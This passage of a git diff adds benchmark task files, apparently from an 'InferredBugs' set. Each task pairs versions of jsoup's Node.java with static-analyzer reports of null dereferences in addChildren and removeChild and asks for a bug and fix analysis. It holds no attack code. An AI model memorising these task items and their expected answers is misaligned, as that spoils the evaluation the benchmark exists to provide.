+    protected void replaceChild(Node out, Node in) {
+        Validate.isTrue(out.parentNode == this);
+        Validate.notNull(in);
+        if (in.parentNode != null)
+            in.parentNode.removeChild(in);
+
+        final int index = out.siblingIndex;
+        ensureChildNodes().set(index, in);
+        in.parentNode = this;
+        in.setSiblingIndex(index);
+        out.parentNode = null;
+    }
+
+    protected void removeChild(Node out) {
+        Validate.isTrue(out.parentNode == this);
+        final int index = out.siblingIndex;
+        ensureChildNodes().remove(index);
+        reindexChildren(index);
+        out.parentNode = null;
+    }
+
+    protected void addChildren(Node... children) {
+        //most used. short circuit addChildren(int), which hits reindex children and array copy
+        final List<Node> nodes = ensureChildNodes();
+
+        for (Node child: children) {
+            reparentChild(child);
+            nodes.add(child);
+            child.setSiblingIndex(nodes.size()-1);
+        }
+    }
+
+    protected void addChildren(int index, Node... children) {
+        Validate.noNullElements(children);
+        final List<Node> nodes = ensureChildNodes();
+
+        for (Node child : children) {
+            reparentChild(child);
+        }
+        nodes.addAll(index, Arrays.asList(children));
+        reindexChildren(index);
+    }
+    
+    protected void reparentChild(Node child) {
+        child.setParentNode(this);
+    }
+
+    private void reindexChildren(int start) {
+        final List<Node> childNodes = ensureChildNodes();
+
+        for (int i = start; i < childNodes.size(); i++) {
+            childNodes.get(i).setSiblingIndex(i);
+        }
+    }
+
+    /**
+     Retrieves this node's sibling nodes. Similar to {@link #childNodes()  node.parent.childNodes()}, but does not
+     include this node (a node is not a sibling of itself).
+     @return node siblings. If the node has no parent, returns an empty list.
+     */
+    public List<Node> siblingNodes() {
+        if (parentNode == null)
+            return Collections.emptyList();
+
+        List<Node> nodes = parentNode.ensureChildNodes();
+        List<Node> siblings = new ArrayList<>(nodes.size() - 1);
+        for (Node node: nodes)
+            if (node != this)
+                siblings.add(node);
+        return siblings;
+    }
+
+    /**
+     Get this node's next sibling.
+     @return next sibling, or null if this is the last sibling
+     */
+    public Node nextSibling() {
+        if (parentNode == null)
+            return null; // root
+
+        final List<Node> siblings = parentNode.ensureChildNodes();
+        final int index = siblingIndex+1;
+        if (siblings.size() > index)
+            return siblings.get(index);
+        else
+            return null;
+    }
+
+    /**
+     Get this node's previous sibling.
+     @return the previous sibling, or null if this is the first sibling
+     */
+    public Node previousSibling() {
+        if (parentNode == null)
+            return null; // root
+
+        if (siblingIndex > 0)
+            return parentNode.ensureChildNodes().get(siblingIndex-1);
+        else
+            return null;
+    }
+
+    /**
+     * Get the list index of this node in its node sibling list. I.e. if this is the first node
+     * sibling, returns 0.
+     * @return position in node sibling list
+     * @see org.jsoup.nodes.Element#elementSiblingIndex()
+     */
+    public int siblingIndex() {
+        return siblingIndex;
+    }
+
+    protected void setSiblingIndex(int siblingIndex) {
+        this.siblingIndex = siblingIndex;
+    }
+
+    /**
+     * Perform a depth-first traversal through this node and its descendants.
+     * @param nodeVisitor the visitor callbacks to perform on each node
+     * @return this node, for chaining
+     */
+    public Node traverse(NodeVisitor nodeVisitor) {
+        Validate.notNull(nodeVisitor);
+        NodeTraversor.traverse(nodeVisitor, this);
+        return this;
+    }
+
+    /**
+     * Perform a depth-first filtering through this node and its descendants.
+     * @param nodeFilter the filter callbacks to perform on each node
+     * @return this node, for chaining
+     */
+    public Node filter(NodeFilter nodeFilter) {
+        Validate.notNull(nodeFilter);
+        NodeTraversor.filter(nodeFilter, this);
+        return this;
+    }
+
+    /**
+     Get the outer HTML of this node. For example, on a {@code p} element, may return {@code <p>Para</p>}.
+     @return outer HTML
+     @see Element#html()
+     @see Element#text()
+     */
+    public String outerHtml() {
+        StringBuilder accum = StringUtil.borrowBuilder();
+        outerHtml(accum);
+        return StringUtil.releaseBuilder(accum);
+    }
+
+    protected void outerHtml(Appendable accum) {
+        NodeTraversor.traverse(new OuterHtmlVisitor(accum, NodeUtils.outputSettings(this)), this);
+    }
+
+    /**
+     Get the outer HTML of this node.
+     @param accum accumulator to place HTML into
+     @throws IOException if appending to the given accumulator fails.
+     */
+    abstract void outerHtmlHead(final Appendable accum, int depth, final Document.OutputSettings out) throws IOException;
+
+    abstract void outerHtmlTail(final Appendable accum, int depth, final Document.OutputSettings out) throws IOException;
+
+    /**
+     * Write this node and its children to the given {@link Appendable}.
+     *
+     * @param appendable the {@link Appendable} to write to.
+     * @return the supplied {@link Appendable}, for chaining.
+     */
+    public <T extends Appendable> T html(T appendable) {
+        outerHtml(appendable);
+        return appendable;
+    }
+
+    /**
+     * Gets this node's outer HTML.
+     * @return outer HTML.
+     * @see #outerHtml()
+     */
+	public String toString() {
+        return outerHtml();
+    }
+
+    protected void indent(Appendable accum, int depth, Document.OutputSettings out) throws IOException {
+        accum.append('\n').append(StringUtil.padding(depth * out.indentAmount()));
+    }
+
+    /**
+     * Check if this node is the same instance of another (object identity test).
+     * @param o other object to compare to
+     * @return true if the content of this node is the same as the other
+     * @see Node#hasSameValue(Object) to compare nodes by their value
+     */
+    @Override
+    public boolean equals(Object o) {
+        // implemented just so that javadoc is clear this is an identity test
+        return this == o;
+    }
+
+    /**
+     * Check if this node is has the same content as another node. A node is considered the same if its name, attributes and content match the
+     * other node; particularly its position in the tree does not influence its similarity.
+     * @param o other object to compare to
+     * @return true if the content of this node is the same as the other
+     */
+    public boolean hasSameValue(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+
+        return this.outerHtml().equals(((Node) o).outerHtml());
+    }
+
+    /**
+     * Create a stand-alone, deep copy of this node, and all of its children. The cloned node will have no siblings or
+     * parent node. As a stand-alone object, any changes made to the clone or any of its children will not impact the
+     * original node.
+     * <p>
+     * The cloned node may be adopted into another Document or node structure using {@link Element#appendChild(Node)}.
+     * @return a stand-alone cloned node, including clones of any children
+     * @see #shallowClone()
+     */
+    @Override
+    public Node clone() {
+        Node thisClone = doClone(null); // splits for orphan
+
+        // Queue up nodes that need their children cloned (BFS).
+        final LinkedList<Node> nodesToProcess = new LinkedList<>();
+        nodesToProcess.add(thisClone);
+
+        while (!nodesToProcess.isEmpty()) {
+            Node currParent = nodesToProcess.remove();
+
+            final int size = currParent.childNodeSize();
+            for (int i = 0; i < size; i++) {
+                final List<Node> childNodes = currParent.ensureChildNodes();
+                Node childClone = childNodes.get(i).doClone(currParent);
+                childNodes.set(i, childClone);
+                nodesToProcess.add(childClone);
+            }
+        }
+
+        return thisClone;
+    }
+
+    /**
+     * Create a stand-alone, shallow copy of this node. None of its children (if any) will be cloned, and it will have
+     * no parent or sibling nodes.
+     * @return a single independent copy of this node
+     * @see #clone()
+     */
+    public Node shallowClone() {
+        return doClone(null);
+    }
+
+    /*
+     * Return a clone of the node using the given parent (which can be null).
+     * Not a deep copy of children.
+     */
+    protected Node doClone(Node parent) {
+        Node clone;
+
+        try {
+            clone = (Node) super.clone();
+        } catch (CloneNotSupportedException e) {
+            throw new RuntimeException(e);
+        }
+
+        clone.parentNode = parent; // can be null, to create an orphan split
+        clone.siblingIndex = parent == null ? 0 : siblingIndex;
+
+        return clone;
+    }
+
+    private static class OuterHtmlVisitor implements NodeVisitor {
+        private Appendable accum;
+        private Document.OutputSettings out;
+
+        OuterHtmlVisitor(Appendable accum, Document.OutputSettings out) {
+            this.accum = accum;
+            this.out = out;
+            out.prepareEncoder();
+        }
+
+        public void head(Node node, int depth) {
+            try {
+				node.outerHtmlHead(accum, depth, out);
+			} catch (IOException exception) {
+				throw new SerializationException(exception);
+			}
+        }
+
+        public void tail(Node node, int depth) {
+            if (!node.nodeName().equals("#text")) { // saves a void hit.
+				try {
+					node.outerHtmlTail(accum, depth, out);
+				} catch (IOException exception) {
+					throw new SerializationException(exception);
+				}
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `child` last assigned on line 460 could be null and is dereferenced by call to `reparentChild(...)` at line 461.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Node.addChildren(int,org.jsoup.nodes.Node[])
+
+### Procedure Id:
+org.jsoup.nodes.Node.addChildren(int,org.jsoup.nodes.Node[]):void.1c563cf9a573e91d8ff039b24328d601
+
+### File:
+src/main/java/org/jsoup/nodes/Node.java
+
+### Key:
+Node.java|addChildren|NULL_DEREFERENCE
+
+### Node Key:
+1e8a282e4d8c8468066073fa4d86785d
+
+### Hash:
+fffb6896d3942b534cd26c8518520da9
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7746/instruction.md b/inferredbugs-7746/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..00feafa763b33b945528f9b433e07f6de8dc9c1a
--- /dev/null
+++ b/inferredbugs-7746/instruction.md
@@ -0,0 +1,459 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.nodes;
+
+import org.apache.commons.lang.Validate;
+import org.apache.commons.lang.StringUtils;
+import org.jsoup.select.NodeVisitor;
+import org.jsoup.select.NodeTraversor;
+
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ The base, abstract Node model. Elements, Documents, Comments etc are all Node instances.
+
+ @author Jonathan Hedley, jonathan@hedley.net */
+public abstract class Node {
+    Node parentNode;
+    final List<Node> childNodes;
+    final Attributes attributes;
+    String baseUri;
+
+    /**
+     Create a new Node.
+     @param baseUri base URI
+     @param attributes attributes (not null, but may be empty)
+     */
+    protected Node(String baseUri, Attributes attributes) {
+        Validate.notNull(baseUri);
+        Validate.notNull(attributes);
+        
+        childNodes = new ArrayList<Node>(4);
+        this.baseUri = baseUri.trim();
+        this.attributes = attributes;
+    }
+
+    protected Node(String baseUri) {
+        this(baseUri, new Attributes());
+    }
+
+    /**
+     Get the node name of this node. Use for debugging purposes and not logic switching (for that, use instanceof).
+     @return node name
+     */
+    public abstract String nodeName();
+
+    /**
+     * Get an attribute's value by its key.
+     * <p/>
+     * To get an absolute URL from an attribute that may be a relative URL, prefix the key with <code><b>abs</b></code>,
+     * which is a shortcut to the {@link #absUrl} method.
+     * E.g.: <blockquote><code>String url = a.attr("abs:href");</code></blockquote>
+     * @param attributeKey The attribute key.
+     * @return The attribute, or empty string if not present (to avoid nulls).
+     * @see #attributes()
+     * @see #hasAttr(String)
+     * @see #absUrl(String)
+     */
+    public String attr(String attributeKey) {
+        Validate.notNull(attributeKey);
+
+        if (hasAttr(attributeKey))
+            return attributes.get(attributeKey);
+        else if (attributeKey.toLowerCase().startsWith("abs:"))
+            return absUrl(attributeKey.substring("abs:".length()));
+        else return "";
+    }
+
+    /**
+     * Get all of the element's attributes.
+     * @return attributes (which implements iterable, in same order as presented in original HTML).
+     */
+    public Attributes attributes() {
+        return attributes;
+    }
+
+    /**
+     * Set an attribute (key=value). If the attribute already exists, it is replaced.
+     * @param attributeKey The attribute key.
+     * @param attributeValue The attribute value.
+     * @return this (for chaining)
+     */
+    public Node attr(String attributeKey, String attributeValue) {
+        attributes.put(attributeKey, attributeValue);
+        return this;
+    }
+
+    /**
+     * Test if this element has an attribute.
+     * @param attributeKey The attribute key to check.
+     * @return true if the attribute exists, false if not.
+     */
+    public boolean hasAttr(String attributeKey) {
+        Validate.notNull(attributeKey);
+        return attributes.hasKey(attributeKey);
+    }
+
+    /**
+     * Remove an attribute from this element.
+     * @param attributeKey The attribute to remove.
+     * @return this (for chaining)
+     */
+    public Node removeAttr(String attributeKey) {
+        Validate.notNull(attributeKey);
+        attributes.remove(attributeKey);
+        return this;
+    }
+
+    /**
+     Get the base URI of this node.
+     @return base URI
+     */
+    public String baseUri() {
+        return baseUri;
+    }
+
+    /**
+     Update the base URI of this node.
+     @param baseUri base URI to set
+     */
+    public void setBaseUri(String baseUri) {
+        Validate.notNull(baseUri);
+        this.baseUri = baseUri;
+    }
+
+    /**
+     * Get an absolute URL from a URL attribute that may be relative (i.e. an <code>&lt;a href></code> or
+     * <code>&lt;img src></code>.
+     * <p/>
+     * If the attribute value is already absolute (i.e. it starts with a protocol, like
+     * <code>http://</code> or <code>https://</code> etc), and it successfully parses as a URL, the attribute is
+     * returned directly. Otherwise, it is treated as a URL relative to the element's {@link #baseUri}, and made
+     * absolute using that.
+     * <p/>
+     * As an alternate, you can use the {@link #attr} method with the <code>abs:</code> prefix.
+     *
+     * @param attributeKey The attribute key
+     * @return An absolute URL if one could be made, or an empty string (not null) if the attribute was missing or
+     * could not be made successfully into a URL.
+     * @see #attr
+     * @see java.net.URL#URL(java.net.URL, String)
+     */
+    public String absUrl(String attributeKey) {
+        Validate.notEmpty(attributeKey);
+
+        String relUrl = attr(attributeKey);
+        if (!hasAttr(attributeKey)) {
+            return ""; // nothing to make absolute with
+        } else {
+            URL base;
+            try {
+                try {
+                    base = new URL(baseUri);
+                } catch (MalformedURLException e) {
+                    // the base is unsuitable, but the attribute may be abs on its own, so try that
+                    URL abs = new URL(relUrl);
+                    return abs.toExternalForm();
+                }
+                URL abs = new URL(base, relUrl);
+                return abs.toExternalForm();
+            } catch (MalformedURLException e) {
+                return "";
+            }
+        }
+    }
+
+    /**
+     Get a child node by index
+     @param index index of child node
+     @return the child node at this index.
+     */
+    public Node childNode(int index) {
+        return childNodes.get(index);
+    }
+
+    /**
+     Get this node's children. Presented as an unmodifiable list: new children can not be added, but the child nodes
+     themselves can be manipulated.
+     @return list of children. If no children, returns an empty list.
+     */
+    public List<Node> childNodes() {
+        return Collections.unmodifiableList(childNodes);
+    }
+    
+    protected Node[] childNodesAsArray() {
+        return childNodes.toArray(new Node[childNodes().size()]);
+    }
+
+    /**
+     Gets this node's parent node.
+     @return parent node; or null if no parent.
+     */
+    public Node parent() {
+        return parentNode;
+    }
+    
+    /**
+     * Remove (delete) this node from the DOM tree. If this node has children, they are also removed.
+     */
+    public void remove() {
+        Validate.notNull(parentNode);
+        parentNode.removeChild(this);
+    }
+    
+    /**
+     * Replace this node in the DOM with the supplied node.
+     * @param in the node that will will replace the existing node.
+     */
+    public void replaceWith(Node in) {
+        Validate.notNull(in);
+        Validate.notNull(parentNode);
+        parentNode.replaceChild(this, in);
+    }
+
+    protected void setParentNode(Node parentNode) {
+        if (this.parentNode != null)
+            this.parentNode.removeChild(this);
+        this.parentNode = parentNode;
+    }
+
+    protected void replaceChild(Node out, Node in) {
+        Validate.isTrue(out.parentNode == this);
+        Validate.notNull(in);
+        if (in.parentNode != null)
+            in.parentNode.removeChild(in);
+        
+        Integer index = indexInList(out, childNodes);
+        childNodes.set(index, in);
+        in.parentNode = this;
+        out.parentNode = null;
+    }
+
+    protected void removeChild(Node out) {
+        Validate.isTrue(out.parentNode == this);
+        int index = indexInList(out, childNodes);
+        childNodes.remove(index);
+        out.parentNode = null;
+    }
+
+    protected void addChildren(Node... children) {
+        addChildren(childNodes.size(), children);
+    }
+    
+    protected void addChildren(int index, Node... children) {
+        Validate.noNullElements(children);
+        for (int i = children.length - 1; i >= 0; i--) {
+            Node in = children[i];
+            if (in.parentNode != null)
+                in.parentNode.removeChild(in);
+            
+            childNodes.add(index, in);
+            in.setParentNode(this);
+        }
+    }
+
+    protected int nodeDepth() {
+        if (parentNode == null)
+            return 0;
+        else
+            return parentNode.nodeDepth() + 1;
+    }
+    
+    /**
+     Retrieves this node's sibling nodes. Effectively, {@link #childNodes()  node.parent.childNodes()}.
+     @return node siblings, including this node
+     */
+    public List<Node> siblingNodes() {
+        return parent().childNodes(); // TODO: should this strip out this node? i.e. not a sibling of self?
+    }
+
+    /**
+     Get this node's next sibling.
+     @return next sibling, or null if this is the last sibling
+     */
+    public Node nextSibling() {
+        if (parentNode == null)
+            return null; // root
+        
+        List<Node> siblings = parentNode.childNodes;
+        Integer index = indexInList(this, siblings);
+        Validate.notNull(index);
+        if (siblings.size() > index+1)
+            return siblings.get(index+1);
+        else
+            return null;
+    }
+
+    /**
+     Get this node's previous sibling.
+     @return the previous sibling, or null if this is the first sibling
+     */
+    public Node previousSibling() {
+        List<Node> siblings = parentNode.childNodes;
+        Integer index = indexInList(this, siblings);
+        Validate.notNull(index);
+        if (index > 0)
+            return siblings.get(index-1);
+        else
+            return null;
+    }
+
+    /**
+     * Get the list index of this node in its node sibling list. I.e. if this is the first node
+     * sibling, returns 0.
+     * @return position in node sibling list
+     * @see org.jsoup.nodes.Element#elementSiblingIndex()
+     */
+    public Integer siblingIndex() {
+        return indexInList(this, parent().childNodes);
+    }
+
+    protected static <N extends Node> Integer indexInList(N search, List<N> nodes) {
+        Validate.notNull(search);
+        Validate.notNull(nodes);
+
+        for (int i = 0; i < nodes.size(); i++) {
+            N node = nodes.get(i);
+            if (node.equals(search))
+                return i;
+        }
+        return null;
+    }
+
+    /**
+     Get the outer HTML of this node.
+     @return HTML
+     */
+    public String outerHtml() {
+        StringBuilder accum = new StringBuilder();
+        outerHtml(accum);
+        return accum.toString();
+    }
+
+    protected void outerHtml(StringBuilder accum) {
+        new NodeTraversor(new OuterHtmlVisitor(accum)).traverse(this);
+    }
+
+    /**
+     Get the outer HTML of this node.
+     @param accum accumulator to place HTML into
+     */
+    abstract void outerHtmlHead(StringBuilder accum, int depth);
+
+    abstract void outerHtmlTail(StringBuilder accum, int depth);
+
+    public String toString() {
+        return outerHtml();
+    }
+
+    protected void indent(StringBuilder accum, int depth) {
+        accum.append("\n").append(StringUtils.leftPad("", depth));
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        // todo: have nodes hold a child index, compare against that and parent (not children)
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        int result = parentNode != null ? parentNode.hashCode() : 0;
+        // not children, or will block stack as they go back up to parent)
+        result = 31 * result + (attributes != null ? attributes.hashCode() : 0);
+        return result;
+    }
+
+    private static class OuterHtmlVisitor implements NodeVisitor {
+        private StringBuilder accum;
+
+        OuterHtmlVisitor(StringBuilder accum) {
+            this.accum = accum;
+        }
+
+        public void head(Node node, int depth) {
+            node.outerHtmlHead(accum, depth);
+        }
+
+        public void tail(Node node, int depth) {
+            node.outerHtmlTail(accum, depth);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `indexInList(out,Node.childNodes)` could be null and is dereferenced at line 236.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Node.removeChild(Node)
+
+### Procedure Id:
+org.jsoup.nodes.Node.removeChild(org.jsoup.nodes.Node):void.14a714f387f2af8a6bad230be38659a3
+
+### File:
+src/main/java/org/jsoup/nodes/Node.java
+
+### Key:
+Node.java|removeChild|NULL_DEREFERENCE
+
+### Node Key:
+3673c4de52f870dfd662aca72d369e76
+
+### Hash:
+bc8613c64e4495ff25707b14d1eeaa7a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7747/instruction.md b/inferredbugs-7747/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..66f3be44dc5c6cf64b2574a2a497a5bb9522f3b9
--- /dev/null
+++ b/inferredbugs-7747/instruction.md
@@ -0,0 +1,459 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsoup
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.jsoup.nodes;
+
+import org.apache.commons.lang.Validate;
+import org.apache.commons.lang.StringUtils;
+import org.jsoup.select.NodeVisitor;
+import org.jsoup.select.NodeTraversor;
+
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ The base, abstract Node model. Elements, Documents, Comments etc are all Node instances.
+
+ @author Jonathan Hedley, jonathan@hedley.net */
+public abstract class Node {
+    Node parentNode;
+    final List<Node> childNodes;
+    final Attributes attributes;
+    String baseUri;
+
+    /**
+     Create a new Node.
+     @param baseUri base URI
+     @param attributes attributes (not null, but may be empty)
+     */
+    protected Node(String baseUri, Attributes attributes) {
+        Validate.notNull(baseUri);
+        Validate.notNull(attributes);
+        
+        childNodes = new ArrayList<Node>(4);
+        this.baseUri = baseUri.trim();
+        this.attributes = attributes;
+    }
+
+    protected Node(String baseUri) {
+        this(baseUri, new Attributes());
+    }
+
+    /**
+     Get the node name of this node. Use for debugging purposes and not logic switching (for that, use instanceof).
+     @return node name
+     */
+    public abstract String nodeName();
+
+    /**
+     * Get an attribute's value by its key.
+     * <p/>
+     * To get an absolute URL from an attribute that may be a relative URL, prefix the key with <code><b>abs</b></code>,
+     * which is a shortcut to the {@link #absUrl} method.
+     * E.g.: <blockquote><code>String url = a.attr("abs:href");</code></blockquote>
+     * @param attributeKey The attribute key.
+     * @return The attribute, or empty string if not present (to avoid nulls).
+     * @see #attributes()
+     * @see #hasAttr(String)
+     * @see #absUrl(String)
+     */
+    public String attr(String attributeKey) {
+        Validate.notNull(attributeKey);
+
+        if (hasAttr(attributeKey))
+            return attributes.get(attributeKey);
+        else if (attributeKey.toLowerCase().startsWith("abs:"))
+            return absUrl(attributeKey.substring("abs:".length()));
+        else return "";
+    }
+
+    /**
+     * Get all of the element's attributes.
+     * @return attributes (which implements iterable, in same order as presented in original HTML).
+     */
+    public Attributes attributes() {
+        return attributes;
+    }
+
+    /**
+     * Set an attribute (key=value). If the attribute already exists, it is replaced.
+     * @param attributeKey The attribute key.
+     * @param attributeValue The attribute value.
+     * @return this (for chaining)
+     */
+    public Node attr(String attributeKey, String attributeValue) {
+        attributes.put(attributeKey, attributeValue);
+        return this;
+    }
+
+    /**
+     * Test if this element has an attribute.
+     * @param attributeKey The attribute key to check.
+     * @return true if the attribute exists, false if not.
+     */
+    public boolean hasAttr(String attributeKey) {
+        Validate.notNull(attributeKey);
+        return attributes.hasKey(attributeKey);
+    }
+
+    /**
+     * Remove an attribute from this element.
+     * @param attributeKey The attribute to remove.
+     * @return this (for chaining)
+     */
+    public Node removeAttr(String attributeKey) {
+        Validate.notNull(attributeKey);
+        attributes.remove(attributeKey);
+        return this;
+    }
+
+    /**
+     Get the base URI of this node.
+     @return base URI
+     */
+    public String baseUri() {
+        return baseUri;
+    }
+
+    /**
+     Update the base URI of this node.
+     @param baseUri base URI to set
+     */
+    public void setBaseUri(String baseUri) {
+        Validate.notNull(baseUri);
+        this.baseUri = baseUri;
+    }
+
+    /**
+     * Get an absolute URL from a URL attribute that may be relative (i.e. an <code>&lt;a href></code> or
+     * <code>&lt;img src></code>.
+     * <p/>
+     * If the attribute value is already absolute (i.e. it starts with a protocol, like
+     * <code>http://</code> or <code>https://</code> etc), and it successfully parses as a URL, the attribute is
+     * returned directly. Otherwise, it is treated as a URL relative to the element's {@link #baseUri}, and made
+     * absolute using that.
+     * <p/>
+     * As an alternate, you can use the {@link #attr} method with the <code>abs:</code> prefix.
+     *
+     * @param attributeKey The attribute key
+     * @return An absolute URL if one could be made, or an empty string (not null) if the attribute was missing or
+     * could not be made successfully into a URL.
+     * @see #attr
+     * @see java.net.URL#URL(java.net.URL, String)
+     */
+    public String absUrl(String attributeKey) {
+        Validate.notEmpty(attributeKey);
+
+        String relUrl = attr(attributeKey);
+        if (!hasAttr(attributeKey)) {
+            return ""; // nothing to make absolute with
+        } else {
+            URL base;
+            try {
+                try {
+                    base = new URL(baseUri);
+                } catch (MalformedURLException e) {
+                    // the base is unsuitable, but the attribute may be abs on its own, so try that
+                    URL abs = new URL(relUrl);
+                    return abs.toExternalForm();
+                }
+                URL abs = new URL(base, relUrl);
+                return abs.toExternalForm();
+            } catch (MalformedURLException e) {
+                return "";
+            }
+        }
+    }
+
+    /**
+     Get a child node by index
+     @param index index of child node
+     @return the child node at this index.
+     */
+    public Node childNode(int index) {
+        return childNodes.get(index);
+    }
+
+    /**
+     Get this node's children. Presented as an unmodifiable list: new children can not be added, but the child nodes
+     themselves can be manipulated.
+     @return list of children. If no children, returns an empty list.
+     */
+    public List<Node> childNodes() {
+        return Collections.unmodifiableList(childNodes);
+    }
+    
+    protected Node[] childNodesAsArray() {
+        return childNodes.toArray(new Node[childNodes().size()]);
+    }
+
+    /**
+     Gets this node's parent node.
+     @return parent node; or null if no parent.
+     */
+    public Node parent() {
+        return parentNode;
+    }
+    
+    /**
+     * Remove (delete) this node from the DOM tree. If this node has children, they are also removed.
+     */
+    public void remove() {
+        Validate.notNull(parentNode);
+        parentNode.removeChild(this);
+    }
+    
+    /**
+     * Replace this node in the DOM with the supplied node.
+     * @param in the node that will will replace the existing node.
+     */
+    public void replaceWith(Node in) {
+        Validate.notNull(in);
+        Validate.notNull(parentNode);
+        parentNode.replaceChild(this, in);
+    }
+
+    protected void setParentNode(Node parentNode) {
+        if (this.parentNode != null)
+            this.parentNode.removeChild(this);
+        this.parentNode = parentNode;
+    }
+
+    protected void replaceChild(Node out, Node in) {
+        Validate.isTrue(out.parentNode == this);
+        Validate.notNull(in);
+        if (in.parentNode != null)
+            in.parentNode.removeChild(in);
+        
+        Integer index = indexInList(out, childNodes);
+        childNodes.set(index, in);
+        in.parentNode = this;
+        out.parentNode = null;
+    }
+
+    protected void removeChild(Node out) {
+        Validate.isTrue(out.parentNode == this);
+        int index = indexInList(out, childNodes);
+        childNodes.remove(index);
+        out.parentNode = null;
+    }
+
+    protected void addChildren(Node... children) {
+        addChildren(childNodes.size(), children);
+    }
+    
+    protected void addChildren(int index, Node... children) {
+        Validate.noNullElements(children);
+        for (int i = children.length - 1; i >= 0; i--) {
+            Node in = children[i];
+            if (in.parentNode != null)
+                in.parentNode.removeChild(in);
+            
+            childNodes.add(index, in);
+            in.setParentNode(this);
+        }
+    }
+
+    protected int nodeDepth() {
+        if (parentNode == null)
+            return 0;
+        else
+            return parentNode.nodeDepth() + 1;
+    }
+    
+    /**
+     Retrieves this node's sibling nodes. Effectively, {@link #childNodes()  node.parent.childNodes()}.
+     @return node siblings, including this node
+     */
+    public List<Node> siblingNodes() {
+        return parent().childNodes(); // TODO: should this strip out this node? i.e. not a sibling of self?
+    }
+
+    /**
+     Get this node's next sibling.
+     @return next sibling, or null if this is the last sibling
+     */
+    public Node nextSibling() {
+        if (parentNode == null)
+            return null; // root
+        
+        List<Node> siblings = parentNode.childNodes;
+        Integer index = indexInList(this, siblings);
+        Validate.notNull(index);
+        if (siblings.size() > index+1)
+            return siblings.get(index+1);
+        else
+            return null;
+    }
+
+    /**
+     Get this node's previous sibling.
+     @return the previous sibling, or null if this is the first sibling
+     */
+    public Node previousSibling() {
+        List<Node> siblings = parentNode.childNodes;
+        Integer index = indexInList(this, siblings);
+        Validate.notNull(index);
+        if (index > 0)
+            return siblings.get(index-1);
+        else
+            return null;
+    }
+
+    /**
+     * Get the list index of this node in its node sibling list. I.e. if this is the first node
+     * sibling, returns 0.
+     * @return position in node sibling list
+     * @see org.jsoup.nodes.Element#elementSiblingIndex()
+     */
+    public Integer siblingIndex() {
+        return indexInList(this, parent().childNodes);
+    }
+
+    protected static <N extends Node> Integer indexInList(N search, List<N> nodes) {
+        Validate.notNull(search);
+        Validate.notNull(nodes);
+
+        for (int i = 0; i < nodes.size(); i++) {
+            N node = nodes.get(i);
+            if (node.equals(search))
+                return i;
+        }
+        return null;
+    }
+
+    /**
+     Get the outer HTML of this node.
+     @return HTML
+     */
+    public String outerHtml() {
+        StringBuilder accum = new StringBuilder();
+        outerHtml(accum);
+        return accum.toString();
+    }
+
+    protected void outerHtml(StringBuilder accum) {
+        new NodeTraversor(new OuterHtmlVisitor(accum)).traverse(this);
+    }
+
+    /**
+     Get the outer HTML of this node.
+     @param accum accumulator to place HTML into
+     */
+    abstract void outerHtmlHead(StringBuilder accum, int depth);
+
+    abstract void outerHtmlTail(StringBuilder accum, int depth);
+
+    public String toString() {
+        return outerHtml();
+    }
+
+    protected void indent(StringBuilder accum, int depth) {
+        accum.append("\n").append(StringUtils.leftPad("", depth));
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        // todo: have nodes hold a child index, compare against that and parent (not children)
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        int result = parentNode != null ? parentNode.hashCode() : 0;
+        // not children, or will block stack as they go back up to parent)
+        result = 31 * result + (attributes != null ? attributes.hashCode() : 0);
+        return result;
+    }
+
+    private static class OuterHtmlVisitor implements NodeVisitor {
+        private StringBuilder accum;
+
+        OuterHtmlVisitor(StringBuilder accum) {
+            this.accum = accum;
+        }
+
+        public void head(Node node, int depth) {
+            node.outerHtmlHead(accum, depth);
+        }
+
